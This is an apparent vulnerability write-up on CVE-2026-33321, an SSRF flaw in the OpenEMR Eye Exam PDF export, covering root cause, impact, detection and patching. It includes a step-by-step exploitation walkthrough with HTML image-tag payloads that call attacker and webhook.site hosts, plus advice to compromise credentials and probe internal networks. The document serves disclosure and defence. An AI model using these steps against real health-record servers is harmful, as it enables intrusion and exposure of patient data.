CVE-2026-33321: 
OpenEMR vulnerability analysis and mitigation

CVE-2026-33321 is an Out-of-Band Server-Side Request Forgery (OOB SSRF) vulnerability in OpenEMR, a widely used open-source electronic health records and medical practice management application. It affects all OpenEMR versions prior to 8.0.0.2 (i.e., ≤ 8.0.0.1). The vulnerability was disclosed on March 19, 2026, with a fix released in version 8.0.0.2. It carries a CVSS v3.1 base score of 7.6 (High) and a CVSS v4.0 base score of 7.2 (High) (GitHub Advisory).

The root cause is improper neutralization of user-supplied input (CWE-918: SSRF) in the Eye Exam form's PDF generation function (interface/forms/eye_mag/report.php). When a user saves an Eye Exam form and exports it as a PDF via mPDF, form field values (such as the HPI field) are rendered as unescaped HTML. An attacker can inject an HTML tag (e.g., <img src="https://attacker.com/beacon">) into a form field, which mPDF resolves by making an outbound HTTP request to the attacker-controlled URL during PDF rendering. The fix, applied in commit dccc962, escapes all user-supplied form values using the text() function throughout the Eye Exam report template (GitHub Advisory, Patch Commit). This vulnerability shares the same root cause with two related advisories: CVE-2026-33299 (Stored XSS) and CVE-2026-33301 (Arbitrary file read via mPDF local path resolution).

Successful exploitation allows authenticated attackers to force the OpenEMR server to make arbitrary outbound HTTP requests to external or internal resources. This enables server IP address disclosure (bypassing reverse proxies or NAT), internal network service enumeration, potential interaction with internal services that trust the server's IP, and generation of large volumes of traffic to third-party hosts (risking blocklist inclusion). Sensitive data from internal systems may be exposed, and arbitrary images or files could be downloaded to the server and embedded in patient records (GitHub Advisory).

A proof-of-concept exploit with detailed step-by-step reproduction instructions is publicly available in the GitHub Security Advisory, including a concrete HTML payload (<img src=https://webhook.site/...>) and observable results (GitHub Advisory). Exploitation requires authentication with the Notes - my encounters role, which is granted by default to Administrators, Clinicians, and Physicians groups. There is no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.038% (low probability of near-term exploitation), and the vulnerability is not listed in the CISA KEV catalog (Feedly).

1. Reconnaissance: Identify an OpenEMR instance running a version ≤ 8.0.0.1. Confirm the target is accessible and obtain or compromise credentials for an account with the Notes - my encounters role (e.g., a Clinician or Physician account).
2. Set up a callback server: Register a listener at an externally accessible URL (e.g., using the free service https://webhook.site/) to capture incoming HTTP requests from the OpenEMR server.
3. Navigate to the Eye Exam form: Log in to OpenEMR, create or select a patient via Patient > New/Search, create or open a visit via Patient > Visits > Create Visit, then navigate to Clinical > Eye Exam on the Encounter tab.
4. Inject the SSRF payload: In the HPI > HPI field, insert an HTML image tag referencing the callback URL, e.g., <img src="https://webhook.site/<your-unique-id>">.
5. Save the form: Click Save to store the malicious payload in the patient encounter record.
6. Trigger PDF generation: Click File > Save Report as PDF. The mPDF library processes the form output as unescaped HTML and resolves the <img> tag by making an outbound HTTP GET request to the attacker-controlled URL.
7. Collect results: Check the callback server logs to confirm the HTTP request from the OpenEMR server's IP address, revealing the server's real IP and confirming SSRF. Repeat with internal IP addresses or service URLs to probe the internal network (GitHub Advisory).

• Network: Outbound HTTP GET requests from the OpenEMR server to unexpected external domains or IP addresses, particularly during PDF generation events; connections to webhook or out-of-band callback services (e.g., webhook.site, interactsh, Burp Collaborator).
• Logs: Web server access logs showing requests to the Eye Exam PDF generation endpoint (/interface/forms/eye_mag/report.php) followed by unusual outbound connections; mPDF or PHP error logs referencing external URL resolution.
• File System: Unexpected image or file artifacts downloaded into the OpenEMR document storage directory as a result of mPDF fetching attacker-specified URLs.
• Application: Patient encounter records containing raw HTML tags (e.g., <img>, <iframe>) in Eye Exam HPI or other form fields, visible when reviewing encounter data (GitHub Advisory).

Upgrade OpenEMR to version 8.0.0.2 or later, which escapes all user-supplied form values in the Eye Exam report template to prevent HTML injection (Patch Commit). If immediate patching is not possible, restrict the Notes - my encounters role to only highly trusted users, or disable the Eye Exam PDF export feature until the patch can be applied. Additionally, configure network egress controls on the OpenEMR server to block or alert on unexpected outbound HTTP connections as a defense-in-depth measure (GitHub Advisory).

The vulnerability was reported by researcher lassiiiiii and remediated by kojiromike (Michael A. Smith) of OpenCoreEMR Inc. The advisory was published on GitHub on March 19, 2026, and noted by automated CVE tracking services and security aggregators including RedPacket Security and VulDB shortly after disclosure. No significant broader media coverage or notable researcher commentary beyond the advisory itself has been identified (GitHub Advisory).